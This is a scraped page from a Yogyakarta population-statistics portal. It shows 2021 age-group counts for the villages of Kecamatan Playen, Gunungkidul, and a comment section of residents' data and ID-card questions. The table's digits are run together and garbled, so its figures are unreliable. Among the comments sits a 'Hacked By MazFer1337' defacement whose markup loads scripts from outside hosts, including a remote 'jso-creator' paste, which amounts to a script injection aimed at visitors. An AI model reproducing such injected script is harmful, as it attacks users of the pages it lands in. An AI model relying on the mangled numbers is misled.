Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER I 2021

Jumlah Penduduk KECAMATAN PLAYEN, KABUPATEN GUNUNGKIDUL, D.I Yogyakarta SEMESTER I 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaBANYUSOCOPLEMBUTANBLEBERANGETASDENGOKNGUNUTPLAYENNGAWUBANDUNGLOGANDENGGADINGBANARANNGLERITotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun5663 1195951 1106956 1256260 1222226 483017 474839 874844 924945 9410091 1916859 1275725 822729 56695 605 1.300
2 tahun3142 733728 654334 774343 861611 272615 411923 422925 541730 476765 1324838 863316 491817 35427 387 814
3 tahun4327 703943 823037 673136 672314 372017 372817 453028 581924 436944 1132530 552633 591313 26396 363 759
4 tahun4234 763228 603337 702434 581915 341225 372625 512230 521421 355747 1042827 551821 391918 37346 362 708
5 tahun3740 773935 744639 854434 782215 371512 272433 573228 602830 585852 1102842 702530 55229 31420 399 819
6 tahun3426 603440 744732 793440 741425 391922 413422 562327 501723 404368 1113925 642212 342522 47385 384 769
7 tahun3539 743631 675036 862834 621816 341014 242831 593627 632535 605353 1063349 822128 491415 29387 408 795
8 tahun4038 783342 753740 773943 821616 32119 203325 582729 562723 507359 1324445 893731 681611 27433 411 844
9 tahun3637 733732 694142 834431 751515 301217 293132 632642 682327 507147 1184328 712937 661818 36426 405 831
10 tahun3036 663726 633639 753440 741919 381420 342427 513629 652328 517475 1493644 802432 562217 39409 432 841
11 tahun3946 853728 654652 984037 772121 421212 243230 623434 682628 548058 1384140 813635 712516 41469 437 906
12 tahun4129 704837 854152 934732 791713 301116 273830 682222 442122 436765 1323740 772943 722520 45444 421 865
13 tahun4031 713329 624146 875355 1081419 331020 303936 753034 643825 637148 1194948 973634 701916 35473 441 914
14 tahun2827 553228 604433 775045 951515 302015 353329 623528 632519 449075 1654346 893226 581515 30462 401 863
15 tahun3836 742629 553337 704540 851519 341311 243020 503629 653530 656175 1365236 882035 552415 39428 412 840
16 tahun3929 682722 494330 734241 831415 291811 292930 592335 583118 496370 1335037 872818 461820 38425 376 801
17 tahun3747 842429 534637 834036 762321 442118 392819 473328 613327 606063 1234849 972821 491411 25435 406 841
18 tahun4657 1033225 573530 655632 881414 281215 273926 652526 512035 556766 1334734 813135 662221 43446 416 862
19 tahun3934 732927 563636 723841 792325 481214 263530 652825 532730 576851 1194751 983725 622414 38443 403 846
20 tahun4934 833726 636441 1053946 851915 34199 282633 593531 662429 535757 1144539 843838 761927 46471 425 896
21 tahun4852 1003330 635554 1094649 951716 331816 343235 672934 633225 575867 1257448 1223739 762823 51507 488 995
22 tahun4735 823426 604523 683241 731813 311112 232629 552217 391935 545954 1134839 872227 492513 38408 364 772
23 tahun5143 943927 664037 774543 881713 30921 304133 742728 552528 536467 1315238 903031 611418 32454 427 881
24 tahun4939 882039 594035 754237 792213 351812 303227 592624 503432 667949 1284953 1021823 412222 44451 405 856
25 tahun4931 803339 724038 784034 741118 291919 382947 763133 643127 586062 1224938 873017 471814 32440 417 857
26 tahun4036 763236 683842 803234 661410 241312 252427 514429 734827 757062 1324343 863135 661721 38446 414 860
27 tahun3939 785134 854047 874140 81119 201316 293523 582639 652327 505753 1104655 1012935 641525 40426 442 868
28 tahun4844 923626 623636 724038 782011 312213 353634 702429 532625 518065 1454440 842517 422125 46458 403 861
29 tahun4531 763146 774332 753331 641313 262416 403227 592022 422319 427569 1445053 1032626 521818 36433 403 836
30 tahun4442 863829 673438 723636 721316 291516 313024 542222 442618 445062 1124537 821923 422223 45394 386 780
31 tahun3732 693745 824632 785751 1081719 361921 402520 453027 572727 545548 1033929 681625 411716 33422 392 814
32 tahun4135 763733 704244 863544 791317 301416 302829 572117 382517 425758 1153322 552222 441316 29381 370 751
33 tahun3744 813325 584141 823539 741913 32912 212127 483135 662027 475258 1102438 622128 492019 39363 406 769
34 tahun3738 752026 464639 853937 761423 371517 322630 562936 651922 416263 1254431 752722 491517 32393 401 794
35 tahun4531 764033 734242 845441 951616 321712 292528 534330 733127 587261 1335932 912927 56238 31496 388 884
36 tahun4738 853334 674733 805235 871428 421413 274924 733037 672523 488190 1714146 873321 541516 31481 438 919
37 tahun5437 913533 684236 784439 831715 32209 292037 573332 652327 507248 1204848 962922 511918 37456 401 857
38 tahun4337 804840 883834 726146 1071622 381717 342932 612931 603231 636576 1415047 972441 651518 33467 472 939
39 tahun3848 864532 774749 964352 952520 451715 324331 743528 632423 477478 1524747 943925 641720 37494 468 962
40 tahun3935 743443 774344 875533 882115 362020 403029 593323 563846 845571 1262752 794131 721617 33452 459 911
41 tahun3850 883436 704138 793655 912620 461411 252535 603135 663126 576371 1344334 773130 611729 46430 470 900
42 tahun3230 624835 834649 953536 712328 512218 402635 612637 633130 617870 1483941 802932 611414 28449 455 904
43 tahun3534 694823 714034 743143 742419 431118 292321 443422 562735 625767 1243959 982836 642020 40417 431 848
44 tahun3136 672128 495233 853829 67139 22917 262828 562634 602617 437963 1424440 843124 551722 39415 380 795
45 tahun5037 874038 785032 823833 711612 282017 373026 563334 673022 525667 1234655 1012836 642116 37458 425 883
46 tahun3845 832429 533657 935039 891620 361714 312226 482836 643033 636555 1204338 813424 582414 38427 430 857
47 tahun4734 813127 583829 674032 721818 361218 302432 563728 652022 426760 1275542 973330 631818 36440 390 830
48 tahun5246 983131 624532 773344 771914 332616 423234 662331 542336 597167 1385050 1003137 681620 36452 458 910
49 tahun3634 703236 683935 743435 691622 382113 342732 592731 582641 675061 1114942 912739 662415 39408 436 844
50 tahun5044 941925 443335 683336 692013 331723 402927 563231 633517 525954 1133441 752724 511824 42406 394 800
51 tahun3849 873339 724044 845444 981521 361623 392737 642325 483128 596663 1294256 983040 702324 47438 493 931
52 tahun3950 893450 843646 823842 801727 44915 243141 722823 512930 595262 1144952 1014427 711321 34419 486 905
53 tahun4639 853531 663945 842639 651717 341920 393433 673031 612929 584753 1004649 952434 582114 35413 434 847
54 tahun4243 853329 622644 702523 481413 27128 202334 572327 502830 586062 1225253 1052829 571810 28384 405 789
55 tahun4861 1092944 733743 803836 741715 321819 373940 791932 513127 585888 1464847 952033 531620 36418 505 923
56 tahun3336 692822 503236 683919 581317 301313 262730 573121 521932 515266 1184246 883725 622122 43387 385 772
57 tahun3438 722547 722831 593734 711010 201116 273427 611419 331826 445065 1154751 982629 551519 34349 412 761
58 tahun3832 703426 603522 572930 59712 191511 261727 442719 463131 625270 1224445 892233 55169 25367 367 734
59 tahun3138 692539 643025 552419 43924 331615 313027 572130 512030 504953 1023848 861216 281216 28317 380 697
60 tahun3242 743227 593036 662034 541512 27108 182933 622118 392626 524341 843142 731836 541419 33321 374 695
61 tahun2937 662629 553138 693026 561614 301519 343534 692334 572531 566066 1264248 902640 661726 43375 442 817
62 tahun2938 672541 662627 532128 49911 201215 272333 562424 482327 504961 1104443 872230 52138 21320 386 706
63 tahun3343 761830 482025 452924 53915 241520 352017 371135 462723 505256 1083451 852321 441716 33308 376 684
64 tahun2442 663339 722331 542232 54917 261520 351923 422333 561224 363944 833134 652424 48918 27283 381 664
65 tahun3750 873540 752830 582538 631619 351418 322221 432220 421929 484145 862436 602328 511622 38322 396 718
66 tahun2929 582428 523237 692917 461215 27259 342324 471624 401125 364829 772636 622722 491024 34312 319 631
67 tahun2030 502819 471819 372015 351219 311011 211420 342120 411920 392936 652434 581826 442415 39257 284 541
68 tahun2824 521828 462018 381222 341114 251112 231617 331517 321717 343329 622929 583118 491512 27256 257 513
69 tahun2724 511112 232220 421418 321413 271115 261417 311512 272017 372722 492124 452513 381113 24232 220 452
70 tahun2336 591624 401328 412329 52815 2377 141419 3388 16918 271736 532924 531519 34717 24189 280 469
71 tahun1933 52413 171229 411518 33108 1868 14819 2775 12918 272024 442120 41922 31910 19149 227 376
72 tahun2925 542021 411930 491721 381410 2447 111217 2979 161024 342931 602022 42821 29813 21197 251 448
73 tahun1521 361517 32914 231618 3459 1465 111111 22511 161118 291923 421516 311112 2366 12144 181 325
74 tahun1621 37811 19720 271218 30811 1951 6713 20517 22912 211315 281616 321217 29513 18123 185 308
75 tahun1232 44915 241113 241030 40512 1783 111415 29420 24109 191420 341026 36510 151015 25122 220 342
76 tahun1916 351011 211513 28911 20310 1333 6511 1655 1080 859 141714 31713 2056 11111 122 233
77 tahun1014 241110 211817 352012 3248 1236 9714 21513 181211 231418 32616 221120 31513 18126 172 298
78 tahun1927 461319 321010 201418 321013 23108 181116 27914 231416 301712 291928 471727 441112 23174 220 394
79 tahun1111 2247 11417 21511 1678 1526 875 12410 14712 191313 261510 251018 2875 1296 133 229
80 ke atas7699 17548105 1535890 1484597 1423559 942560 856383 1463289 1215585 14070122 19274129 2035289 1413769 106670 1.176 1.846
Jumlah2.9532.9895.9422.4292.4934.9222.8552.8345.6892.7812.8055.5861.2291.3122.5411.1561.1802.3362.1392.2044.3431.9902.1584.1481.9412.0864.0274.4294.4598.8883.1613.2306.3912.0912.2164.3071.3691.4102.779 30.523 31.376 61.899
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih